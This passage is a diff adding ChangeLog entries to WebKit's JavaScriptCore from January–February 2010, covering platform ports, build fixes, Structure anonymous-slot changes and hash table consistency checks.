+        (WTF::OwnPtrBrew::clear):
+        (WTF::OwnPtrBrew::operator*):
+        (WTF::OwnPtrBrew::operator->):
+        (WTF::OwnPtrBrew::operator!):
+        (WTF::OwnPtrBrew::operator UnspecifiedBoolType):
+        (WTF::OwnPtrBrew::swap):
+        (WTF::swap):
+        (WTF::operator==):
+        (WTF::operator!=):
+        (WTF::getPtr):
+
+2010-02-03  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Darin Adler.
+
+        Export WTF::fastStrDup symbol
+        https://bugs.webkit.org/show_bug.cgi?id=34526
+
+        * JavaScriptCore.exp:
+
+2010-02-03  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Enable JIT compilation for wx.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34536
+
+        * wtf/Platform.h:
+
+2010-02-02  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Crash in CollectorBitmap::get at nbcolympics.com
+        https://bugs.webkit.org/show_bug.cgi?id=34504
+
+        This was caused by the use of m_offset to determine the offset of
+        a new property into the property storage.  This patch corrects
+        the effected cases by incorporating the anonymous slot count. It
+        also removes the duplicate copy of anonymous slot count from the
+        property table as keeping this up to date merely increased the
+        chance of a mismatch.  Finally I've added a large number of
+        assertions in an attempt to prevent such a bug from happening
+        again.
+
+        With the new assertions in place the existing anonymous slot tests
+        all fail without the m_offset fixes.
+
+        * runtime/PropertyMapHashTable.h:
+        * runtime/Structure.cpp:
+        (JSC::Structure::materializePropertyMap):
+        (JSC::Structure::addPropertyTransitionToExistingStructure):
+        (JSC::Structure::addPropertyTransition):
+        (JSC::Structure::removePropertyTransition):
+        (JSC::Structure::flattenDictionaryStructure):
+        (JSC::Structure::addPropertyWithoutTransition):
+        (JSC::Structure::removePropertyWithoutTransition):
+        (JSC::Structure::copyPropertyTable):
+        (JSC::Structure::get):
+        (JSC::Structure::put):
+        (JSC::Structure::remove):
+        (JSC::Structure::insertIntoPropertyMapHashTable):
+        (JSC::Structure::createPropertyMapHashTable):
+        (JSC::Structure::rehashPropertyMapHashTable):
+        (JSC::Structure::checkConsistency):
+
+2010-02-02  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Copyright year updating for Windows version resources should be automatic
+        https://bugs.webkit.org/show_bug.cgi?id=34503
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.rc:
+
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Add dummy main thread functions
+        https://bugs.webkit.org/show_bug.cgi?id=33569
+
+        Add dummy initializeMainThreadPlatform and
+        scheduleDispatchFunctionsOnMainThread.
+
+        * wtf/brew/MainThreadBrew.cpp: Added.
+        (WTF::initializeMainThreadPlatform):
+        (WTF::scheduleDispatchFunctionsOnMainThread):
+
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Darin Adler.
+
+        Add using WTF::getLocalTime to CurrentTime.h
+        https://bugs.webkit.org/show_bug.cgi?id=34493
+
+        * wtf/CurrentTime.h:
+
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Add HAVE_XXX definitions
+        https://bugs.webkit.org/show_bug.cgi?id=34414
+
+        Add HAVE_ERRNO_H=1
+
+        * wtf/Platform.h:
+
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Don't define HAVE_TM_GMTOFF, HAVE_TM_ZONE and HAVE_TIMEGM
+        https://bugs.webkit.org/show_bug.cgi?id=34388
+
+        BREWMP does not have these features.
+
+        * wtf/Platform.h:
+
+2010-02-02  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Define WTF_PLATFORM_BREWMP=1 when BUILDING_BREWMP is defined
+        https://bugs.webkit.org/show_bug.cgi?id=34386
+
+        Define WTF_PLATFORM_BREWMP=1 so that PLATFORM(BREWMP) guard can be used.
+
+        * wtf/Platform.h:
+
+2010-02-01  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Date.UTC() should apply TimeClip operation.
+        https://bugs.webkit.org/show_bug.cgi?id=34461
+
+        ECMAScript 5 15.9.4.3:
+        > 9 Return TimeClip(MakeDate(MakeDay(yr, m, dt), MakeTime(h, min, s, milli))).
+
+        * runtime/DateConstructor.cpp:
+        (JSC::dateUTC): Calls WTF::timeClip().
+
+2010-02-01  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Fix a bug that Math.round() retunrs incorrect results for huge integers
+        https://bugs.webkit.org/show_bug.cgi?id=34462
+
+        * runtime/MathObject.cpp:
+        (JSC::mathProtoFuncRound): Avoid "arg + 0.5".
+
+2010-02-01  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Port WTF's currentTime
+        https://bugs.webkit.org/show_bug.cgi?id=33567
+
+        Combine GETUTCSECONDS and GETTIMEMS to calculate the number
+        of milliseconds since 1970/01/01 00:00:00 UTC.
+
+        * wtf/CurrentTime.cpp:
+        (WTF::currentTime):
+
+2010-02-01  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Darin Adler.
+
+        [Qt] WinCE buildfix after r52729 and fix for Q_BIG_ENDIAN typo.
+        https://bugs.webkit.org/show_bug.cgi?id=34378
+
+        * wtf/Platform.h:
+
+2010-02-01  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Structure not accounting for anonymous slots when computing property storage size
+        https://bugs.webkit.org/show_bug.cgi?id=34441
+
+        Previously any Structure with anonymous storage would have a property map, so we
+        were only including anonymous slot size if there was a property map.  Given this
+        is no longer the case we should always include the anonymous slot count in the
+        property storage size.
+
+        * runtime/Structure.h:
+        (JSC::Structure::propertyStorageSize):
+
+2010-02-01  Oliver Hunt  <oliver@apple.com>
+
+        Windows build fix, update exports file (again)
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-02-01  Oliver Hunt  <oliver@apple.com>
+
+        Windows build fix, update exports file
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-01-31  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        JSC is failing to propagate anonymous slot count on some transitions
+        https://bugs.webkit.org/show_bug.cgi?id=34321
+
+        Remove secondary Structure constructor, and make Structure store a copy
+        of the number of anonymous slots directly so saving an immediate allocation
+        of a property map for all structures with anonymous storage, which also
+        avoids the leaked property map on new property transition in the original
+        version of this patch.
+
+        We need to propagate the the anonymous slot count otherwise we can end up
+        with a structure recording incorrect information about the available and
+        needed space for property storage, or alternatively incorrectly reusing
+        some slots.
+
+        * JavaScriptCore.exp:
+        * runtime/Structure.cpp:
+        (JSC::Structure::Structure):
+        (JSC::Structure::materializePropertyMap):
+        (JSC::Structure::addPropertyTransition):
+        (JSC::Structure::changePrototypeTransition):
+        (JSC::Structure::despecifyFunctionTransition):
+        (JSC::Structure::getterSetterTransition):
+        (JSC::Structure::toDictionaryTransition):
+        (JSC::Structure::flattenDictionaryStructure):
+        (JSC::Structure::copyPropertyTable):
+        (JSC::Structure::put):
+        (JSC::Structure::remove):
+        (JSC::Structure::insertIntoPropertyMapHashTable):
+        (JSC::Structure::createPropertyMapHashTable):
+        * runtime/Structure.h:
+        (JSC::Structure::create):
+        (JSC::Structure::hasAnonymousSlots):
+        (JSC::Structure::anonymousSlotCount):
+
+2010-01-31  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Darin Adler.
+
+        Buildfix for WinCE + style fixes (TLS_OUT_OF_INDEXES is not defined).
+        https://bugs.webkit.org/show_bug.cgi?id=34380
+
+        * wtf/ThreadSpecific.h:
+
+2010-01-31  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        [Windows] Fix a bug of round() with huge integral numbers
+        https://bugs.webkit.org/show_bug.cgi?id=34297
+
+        Fix a bug that round() for huge integral numbers returns incorrect
+        results. For example, round(8639999913600001) returns
+        8639999913600002 without this change though the double type can
+        represent 8639999913600001 precisely.
+
+        Math.round() of JavaScript has a similar problem. But this change
+        doesn't fix it because Math.round() doesn't use round() of
+        MathExtra.h.
+
+        * wtf/MathExtras.h:
+        (round): Avoid to do "num + 0.5" or "num - 0.5".
+        (roundf): Fixed similarly.
+        (llround): Calls round().
+        (llroundf): Calls roundf().
+        (lround): Calls round().
+        (lroundf): Calls roundf().
+
+2010-01-29  Mark Rowe  <mrowe@apple.com>
+
+        Sort Xcode projects.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2010-01-29  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Mac build.
+
+        Disable ENABLE_INDEXED_DATABASE since it is "completely non-functional".
+
+        As the comment in FeatureDefines.xcconfig notes, the list of feature defines
+        needs to be kept in sync across the various files.  The default values also
+        need to be kept in sync between these files and build-webkit.
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2010-01-29  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Rubber-stamped by Maciej Stachowiak.
+
+        Fix the ARM build.
+
+        * runtime/JSNumberCell.h:
+        (JSC::JSNumberCell::createStructure): Call the right Structure::create overload.
+
+2010-01-28  Kevin Ollivier  <kevino@theolliviers.com>
+
+        [wx] Build fix for MSW, use ThreadingWin.cpp as the Windows pthreads implementation
+        implements pthread_t in a way that makes it impossible to check its validity,
+        which is needed by ThreadingPthreads.cpp.
+
+        * wscript:
+
+2010-01-28  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        DOM Objects shouldn't all require custom mark functions
+        https://bugs.webkit.org/show_bug.cgi?id=34291
+
+        Make getAnonymousValue const-friendly
+
+        * runtime/JSObject.h:
+        (JSC::JSObject::getAnonymousValue):
+
+2010-01-28  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Simplify anonymous slot implementation
+        https://bugs.webkit.org/show_bug.cgi?id=34282
+
+        A class must now specify the number of slots it needs at construction time
+        rather than later on with a transition.  This makes many things simpler,
+        we no longer need to need an additional transition on object creation to
+        add the anonymous slots, and we remove the need for a number of transition
+        type checks. 
+
+        * API/JSCallbackConstructor.h:
+        (JSC::JSCallbackConstructor::createStructure):
+        * API/JSCallbackFunction.h:
+        (JSC::JSCallbackFunction::createStructure):
+        * API/JSCallbackObject.h:
+        (JSC::JSCallbackObject::createStructure):
+        * JavaScriptCore.exp:
+        * debugger/DebuggerActivation.h:
+        (JSC::DebuggerActivation::createStructure):
+        * runtime/Arguments.h:
+        (JSC::Arguments::createStructure):
+        * runtime/BooleanObject.h:
+        (JSC::BooleanObject::createStructure):
+        * runtime/DateInstance.h:
+        (JSC::DateInstance::createStructure):
+        * runtime/DatePrototype.h:
+        (JSC::DatePrototype::createStructure):
+        * runtime/FunctionPrototype.h:
+        (JSC::FunctionPrototype::createStructure):
+        * runtime/GetterSetter.h:
+        (JSC::GetterSetter::createStructure):
+        * runtime/GlobalEvalFunction.h:
+        (JSC::GlobalEvalFunction::createStructure):
+        * runtime/InternalFunction.h:
+        (JSC::InternalFunction::createStructure):
+        * runtime/JSAPIValueWrapper.h:
+        (JSC::JSAPIValueWrapper::createStructure):
+        * runtime/JSActivation.h:
+        (JSC::JSActivation::createStructure):
+        * runtime/JSArray.h:
+        (JSC::JSArray::createStructure):
+        * runtime/JSByteArray.cpp:
+        (JSC::JSByteArray::createStructure):
+        * runtime/JSCell.h:
+        (JSC::JSCell::createDummyStructure):
+        * runtime/JSFunction.h:
+        (JSC::JSFunction::createStructure):
+        * runtime/JSGlobalObject.h:
+        (JSC::JSGlobalObject::createStructure):
+        * runtime/JSNotAnObject.h:
+        (JSC::JSNotAnObject::createStructure):
+        * runtime/JSONObject.h:
+        (JSC::JSONObject::createStructure):
+        * runtime/JSObject.h:
+        (JSC::JSObject::createStructure):
+        (JSC::JSObject::putAnonymousValue):
+        (JSC::JSObject::getAnonymousValue):
+        * runtime/JSPropertyNameIterator.h:
+        (JSC::JSPropertyNameIterator::createStructure):
+        * runtime/JSStaticScopeObject.h:
+        (JSC::JSStaticScopeObject::createStructure):
+        * runtime/JSString.h:
+        (JSC::Fiber::createStructure):
+        * runtime/JSVariableObject.h:
+        (JSC::JSVariableObject::createStructure):
+        * runtime/JSWrapperObject.h:
+        (JSC::JSWrapperObject::createStructure):
+        (JSC::JSWrapperObject::JSWrapperObject):
+        * runtime/MathObject.h:
+        (JSC::MathObject::createStructure):
+        * runtime/NumberConstructor.h:
+        (JSC::NumberConstructor::createStructure):
+        * runtime/NumberObject.h:
+        (JSC::NumberObject::createStructure):
+        * runtime/RegExpConstructor.h:
+        (JSC::RegExpConstructor::createStructure):
+        * runtime/RegExpObject.h:
+        (JSC::RegExpObject::createStructure):
+        * runtime/StringObject.h:
+        (JSC::StringObject::createStructure):
+        * runtime/StringObjectThatMasqueradesAsUndefined.h:
+        (JSC::StringObjectThatMasqueradesAsUndefined::createStructure):
+        * runtime/Structure.cpp:
+        (JSC::Structure::~Structure):
+        (JSC::Structure::materializePropertyMap):
+        * runtime/Structure.h:
+        (JSC::Structure::create):
+        (JSC::Structure::anonymousSlotCount):
+        * runtime/StructureTransitionTable.h:
+
+2010-01-27  Oliver Hunt  <oliver@apple.com>
+
+        Windows build fix.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-01-27  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        MessageEvent.data should deserialize in the context of the MessageEvent's global object
+        https://bugs.webkit.org/show_bug.cgi?id=34227
+
+        Add logic to allow us to create an Object, Array, or Date instance
+        so we can create them in the context of a specific global object,
+        rather than just using the current lexical global object.
+
+        * JavaScriptCore.exp:
+        * runtime/DateInstance.cpp:
+        (JSC::DateInstance::DateInstance):
+        * runtime/DateInstance.h:
+        * runtime/JSGlobalObject.h:
+        (JSC::constructEmptyObject):
+        (JSC::constructEmptyArray):
+
+2010-01-27  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34150
+        WebKit needs a mechanism to catch stale HashMap entries
+
+        It is very difficult to catch stale pointers that are HashMap keys - since a pointer's hash
+        is just its value, it is very unlikely that any observable problem is reproducible.
+
+        This extends hash table consistency checks to check that pointers are referencing allocated
+        memory blocks, and makes it possible to invoke the checks explicitly (it is not feasible
+        to enable CHECK_HASHTABLE_CONSISTENCY by default, because that affects performance too much).
+
+        * wtf/HashMap.h: (WTF::::checkConsistency): Call through to HashTable implementation. We can
+        add similar calls to HashSet and HashCountedSet, but I haven't seen hard to debug problems
+        with those yet.
+
+        * wtf/HashSet.h: (WTF::::remove): The version of checkTableConsistency that's guarded by
+        CHECK_HASHTABLE_CONSISTENCY is now called internalCheckTableConsistency().
+
+        * wtf/HashTable.h:
+        (WTF::HashTable::internalCheckTableConsistency):
+        (WTF::HashTable::internalCheckTableConsistencyExceptSize):
+        (WTF::HashTable::checkTableConsistencyExceptSize):
+        Expose checkTableConsistency() even if CHECK_HASHTABLE_CONSISTENCY is off.
+        (WTF::::add): Updated for checkTableConsistency renaming.
+        (WTF::::addPassingHashCode): Ditto.
+        (WTF::::removeAndInvalidate): Ditto.
+        (WTF::::remove): Ditto.
+        (WTF::::rehash): Ditto.
+        (WTF::::checkTableConsistency): The assertion for !shouldExpand() was not correct - this
+        function returns true for tables with m_table == 0.
+        (WTF::::checkTableConsistencyExceptSize): Call checkValueConsistency for key. Potentially,
+        we could do the same for values.
+
+        * wtf/HashTraits.h:
+        (WTF::GenericHashTraits::checkValueConsistency): An empty function that can be overridden
+        to add checks. Currently, the only override is for pointer hashes.
+
+        * wtf/RefPtrHashMap.h: (WTF::::remove): Updated for checkTableConsistency renaming.
+
+2010-01-27  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Remove trailing \ from inline function code
+        https://bugs.webkit.org/show_bug.cgi?id=34223
+
+        * assembler/ARMv7Assembler.h:
+        (JSC::ARMThumbImmediate::countLeadingZerosPartial):
+
+2010-01-27  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Port WTF's randomNumber
+        https://bugs.webkit.org/show_bug.cgi?id=33566
+
+        Use GETRAND to generate 4 byte random byte sequence to implement
+        weakRandomNumber. Create a secure random number generator with
+        AEECLSID_RANDOM to implement randomNumber.
+
+        * wtf/RandomNumber.cpp:
+        (WTF::weakRandomNumber):
+        (WTF::randomNumber):
+
+2010-01-27  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Port getCPUTime
+        https://bugs.webkit.org/show_bug.cgi?id=33572
+
+        Use GETUPTIMEMS which returns a continuously and
+        linearly increasing millisecond timer from the time the device
+        was powered on. This function is enough to implement getCPUTime.
+
+        * runtime/TimeoutChecker.cpp:
+        (JSC::getCPUTime):
+
+2010-01-27  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Oliver Hunt.
+
+        [BREWMP] Add MarkStack fastMalloc implementation for platforms without VirtualAlloc or mmap.
+        https://bugs.webkit.org/show_bug.cgi?id=33582
+
+        Use fastMalloc and fastFree to implement MarkStack::allocateStack and
+        MarkStack::releaseStack for platforms without page level allocation.
+
+        * runtime/MarkStack.h:
+        (JSC::MarkStack::MarkStackArray::shrinkAllocation):
+        * runtime/MarkStackNone.cpp: Added.
+        (JSC::MarkStack::initializePagesize):
+        (JSC::MarkStack::allocateStack):
+        (JSC::MarkStack::releaseStack):
+
+2010-01-27  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Don't use time function
+        https://bugs.webkit.org/show_bug.cgi?id=33577
+
+        Calling time(0) in BREW devices causes a crash because time
+        is not properly ported in most devices. Cast currentTime() to
+        time_t to get the same result as time(0).
+
+        * wtf/DateMath.cpp:
+        (WTF::calculateUTCOffset):
+
+2010-01-27  Alexey Proskuryakov  <ap@apple.com>
+
+        Revert r53899 (HashMap<AtomicStringImpl*, Value> key checks) and subsequent build fixes,
+        because they make SVG tests crash in release builds.
+
+        * wtf/HashMap.h:
+        (WTF::::remove):
+        * wtf/HashSet.h:
+        (WTF::::remove):
+        * wtf/HashTable.h:
+        (WTF::::add):
+        (WTF::::addPassingHashCode):
+        (WTF::::removeAndInvalidate):
+        (WTF::::remove):
+        (WTF::::rehash):
+        (WTF::::checkTableConsistency):
+        (WTF::::checkTableConsistencyExceptSize):
+        * wtf/HashTraits.h:
+        (WTF::GenericHashTraits::emptyValue):
+        (WTF::):
+        * wtf/RefPtrHashMap.h:
+        (WTF::::remove):
+
+2010-01-26  Alexey Proskuryakov  <ap@apple.com>
+
+        More Windows build fixing.
+
+        * wtf/HashTraits.h: _msize takes void*, remove const qualifier from type.
+
+2010-01-26  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * wtf/HashTraits.h: Include malloc.h for _msize().
+
+2010-01-26  Alexey Proskuryakov  <ap@apple.com>
+
+        Build fix.
+
+        * wtf/HashTable.h: (WTF::HashTable::checkTableConsistencyExceptSize): Remove const from a
+        static (empty) version of this function.
+
+2010-01-26  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34150
+        WebKit needs a mechanism to catch stale HashMap entries
+
+        It is very difficult to catch stale pointers that are HashMap keys - since a pointer's hash
+        is just its value, it is very unlikely that any observable problem is reproducible.
+
+        This extends hash table consistency checks to check that pointers are referencing allocated
+        memory blocks, and makes it possible to invoke the checks explicitly (it is not feasible
+        to enable CHECK_HASHTABLE_CONSISTENCY by default, because that affects performance too much).
+
+        * wtf/HashMap.h: (WTF::::checkConsistency): Call through to HashTable implementation. We can
+        add similar calls to HashSet and HashCountedSet, but I haven't seen hard to debug problems
+        with those yet.
+
+        * wtf/HashSet.h: (WTF::::remove): The version of checkTableConsistency that's guarded by
+        CHECK_HASHTABLE_CONSISTENCY is now called internalCheckTableConsistency().
+
+        * wtf/HashTable.h:
+        (WTF::HashTable::internalCheckTableConsistency):
+        (WTF::HashTable::internalCheckTableConsistencyExceptSize):
+        (WTF::HashTable::checkTableConsistencyExceptSize):
+        Expose checkTableConsistency() even if CHECK_HASHTABLE_CONSISTENCY is off.
+        (WTF::::add): Updated for checkTableConsistency renaming.
+        (WTF::::addPassingHashCode): Ditto.
+        (WTF::::removeAndInvalidate): Ditto.
+        (WTF::::remove): Ditto.
+        (WTF::::rehash): Ditto.
+        (WTF::::checkTableConsistency): The assertion for !shouldExpand() was not correct - this
+        function returns true for tables with m_table == 0.
+        (WTF::::checkTableConsistencyExceptSize): Call checkValueConsistency for key. Potentially,
+        we could do the same for values.
+
+        * wtf/HashTraits.h:
+        (WTF::GenericHashTraits::checkValueConsistency): An empty function that can be overridden
+        to add checks. Currently, the only override is for pointer hashes.
+
+        * wtf/RefPtrHashMap.h: (WTF::::remove): Updated for checkTableConsistency renaming.
+
+2010-01-26  Lyon Chen  <liachen@rim.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Opcode.h use const void* for Opcode cause error #1211 for RVCT compiler
+        https://bugs.webkit.org/show_bug.cgi?id=33902
+
+        * bytecode/Opcode.h:
+
+2010-01-26  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Windows build references non-existent include paths
+        https://bugs.webkit.org/show_bug.cgi?id=34175
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCoreCommon.vsprops:
+        * JavaScriptCore.vcproj/WTF/WTFCommon.vsprops:
+        * JavaScriptCore.vcproj/jsc/jscCommon.vsprops:
+        * JavaScriptCore.vcproj/testapi/testapi.vcproj:
+        * JavaScriptCore.vcproj/testapi/testapiCommon.vsprops:
+
+2010-01-26  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        Using JavaScriptCore API with a webkit vended context can result in slow script dialog
+        https://bugs.webkit.org/show_bug.cgi?id=34172
+
+        Make the APIShim correctly increment and decrement the timeout
+        entry counter.
+
+        * API/APIShims.h:
+        (JSC::APIEntryShimWithoutLock::APIEntryShimWithoutLock):
+        (JSC::APIEntryShimWithoutLock::~APIEntryShimWithoutLock):
+        (JSC::APICallbackShim::APICallbackShim):
+        (JSC::APICallbackShim::~APICallbackShim):
+
+2010-01-26  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        [Qt] Fix compilation of QtScript with non-gcc compilers
+
+        Variable length stack arrays are a gcc extension. Use QVarLengthArray
+        as a more portable solution that still tries to allocate on the stack
+        first.
+
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::call):
+
+2010-01-26  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Fix the build on platforms without JIT support.
+
+        The JIT support should be determined at compile-time via wtf/Platform.h
+
+        * qt/api/QtScript.pro:
+
+2010-01-26  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        First steps of the QtScript API.
+        
+        Two new classes were created; QScriptEngine and QScriptValue.
+        The first should encapsulate a javascript context and the second a script
+        value.
+        
+        This API is still in development, so it isn't compiled by default.
+        To trigger compilation, pass --qmakearg="CONFIG+=build-qtscript" to
+        build-webkit.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32565
+
+        * qt/api/QtScript.pro: Added.
+        * qt/api/qscriptconverter_p.h: Added.
+        (QScriptConverter::toString):
+        * qt/api/qscriptengine.cpp: Added.
+        (QScriptEngine::QScriptEngine):
+        (QScriptEngine::~QScriptEngine):
+        (QScriptEngine::evaluate):
+        (QScriptEngine::collectGarbage):
+        * qt/api/qscriptengine.h: Added.
+        * qt/api/qscriptengine_p.cpp: Added.
+        (QScriptEnginePrivate::QScriptEnginePrivate):
+        (QScriptEnginePrivate::~QScriptEnginePrivate):
+        (QScriptEnginePrivate::evaluate):
+        * qt/api/qscriptengine_p.h: Added.
+        (QScriptEnginePrivate::get):
+        (QScriptEnginePrivate::collectGarbage):
+        (QScriptEnginePrivate::makeJSValue):
+        (QScriptEnginePrivate::context):
+        * qt/api/qscriptvalue.cpp: Added.
+        (QScriptValue::QScriptValue):
+        (QScriptValue::~QScriptValue):
+        (QScriptValue::isValid):
+        (QScriptValue::isBool):
+        (QScriptValue::isBoolean):
+        (QScriptValue::isNumber):
+        (QScriptValue::isNull):
+        (QScriptValue::isString):
+        (QScriptValue::isUndefined):
+        (QScriptValue::isError):
+        (QScriptValue::isObject):
+        (QScriptValue::isFunction):
+        (QScriptValue::toString):
+        (QScriptValue::toNumber):
+        (QScriptValue::toBool):
+        (QScriptValue::toBoolean):
+        (QScriptValue::toInteger):
+        (QScriptValue::toInt32):
+        (QScriptValue::toUInt32):
+        (QScriptValue::toUInt16):
+        (QScriptValue::call):
+        (QScriptValue::engine):
+        (QScriptValue::operator=):
+        (QScriptValue::equals):
+        (QScriptValue::strictlyEquals):
+        * qt/api/qscriptvalue.h: Added.
+        (QScriptValue::):
+        * qt/api/qscriptvalue_p.h: Added.
+        (QScriptValuePrivate::):
+        (QScriptValuePrivate::get):
+        (QScriptValuePrivate::QScriptValuePrivate):
+        (QScriptValuePrivate::isValid):
+        (QScriptValuePrivate::isBool):
+        (QScriptValuePrivate::isNumber):
+        (QScriptValuePrivate::isNull):
+        (QScriptValuePrivate::isString):
+        (QScriptValuePrivate::isUndefined):
+        (QScriptValuePrivate::isError):
+        (QScriptValuePrivate::isObject):
+        (QScriptValuePrivate::isFunction):
+        (QScriptValuePrivate::toString):
+        (QScriptValuePrivate::toNumber):
+        (QScriptValuePrivate::toBool):
+        (QScriptValuePrivate::toInteger):
+        (QScriptValuePrivate::toInt32):
+        (QScriptValuePrivate::toUInt32):
+        (QScriptValuePrivate::toUInt16):
+        (QScriptValuePrivate::equals):
+        (QScriptValuePrivate::strictlyEquals):
+        (QScriptValuePrivate::assignEngine):
+        (QScriptValuePrivate::call):
+        (QScriptValuePrivate::engine):
+        (QScriptValuePrivate::context):
+        (QScriptValuePrivate::value):
+        (QScriptValuePrivate::object):
+        (QScriptValuePrivate::inherits):
+        (QScriptValuePrivate::isJSBased):
+        (QScriptValuePrivate::isNumberBased):
+        (QScriptValuePrivate::isStringBased):
+        * qt/api/qtscriptglobal.h: Added.
+        * qt/tests/qscriptengine/qscriptengine.pro: Added.
+        * qt/tests/qscriptengine/tst_qscriptengine.cpp: Added.
+        (tst_QScriptEngine::tst_QScriptEngine):
+        (tst_QScriptEngine::~tst_QScriptEngine):
+        (tst_QScriptEngine::init):
+        (tst_QScriptEngine::cleanup):
+        (tst_QScriptEngine::collectGarbage):
+        (tst_QScriptEngine::evaluate):
+        * qt/tests/qscriptvalue/qscriptvalue.pro: Added.
+        * qt/tests/qscriptvalue/tst_qscriptvalue.cpp: Added.
+        (tst_QScriptValue::tst_QScriptValue):
+        (tst_QScriptValue::~tst_QScriptValue):
+        (tst_QScriptValue::init):
+        (tst_QScriptValue::cleanup):
+        (tst_QScriptValue::ctor):
+        (tst_QScriptValue::toString_data):
+        (tst_QScriptValue::toString):
+        (tst_QScriptValue::copyConstructor_data):
+        (tst_QScriptValue::copyConstructor):
+        (tst_QScriptValue::assignOperator_data):
+        (tst_QScriptValue::assignOperator):
+        (tst_QScriptValue::dataSharing):
+        (tst_QScriptValue::constructors_data):
+        (tst_QScriptValue::constructors):
+        (tst_QScriptValue::call):
+        * qt/tests/tests.pri: Added.
+        * qt/tests/tests.pro: Added.
+
+2010-01-25  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        Fix Chromium Linux tests: the pthread functions on Linux produce segfault if they receive 0 thread handle.
+        After r53714, we can have 0 thread handles passed to pthread_join and pthread_detach if corresponding threads
+        were already terminated and their threadMap entries cleared.
+        Add a 0 check.
+
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::waitForThreadCompletion):
+        (WTF::detachThread):
+
+2010-01-24  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Refactor JITStubs.cpp so that DEFINE_STUB_FUNCTION is only used once for each function
+        https://bugs.webkit.org/show_bug.cgi?id=33866
+
+        Place the guard USE(JSVALUE32_64) inside the body of the DEFINE_STUB_FUNCTION
+        macro for those functions that are always present.
+
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+
+2010-01-22  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Remove the Bakefile build system, which is no longer being used.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34022
+
+        * JavaScriptCoreSources.bkl: Removed.
+        * jscore.bkl: Removed.
+
+2010-01-22  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34025
+        Enable client-based Geolocation abstraction for Mac, Windows AppleWebKit targets.
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2010-01-22  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, attempted Snow Leopard build fix.
+
+        * wtf/ThreadingPthreads.cpp: Add a forward declaration of a function which is not 'static'.
+
+2009-01-22  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
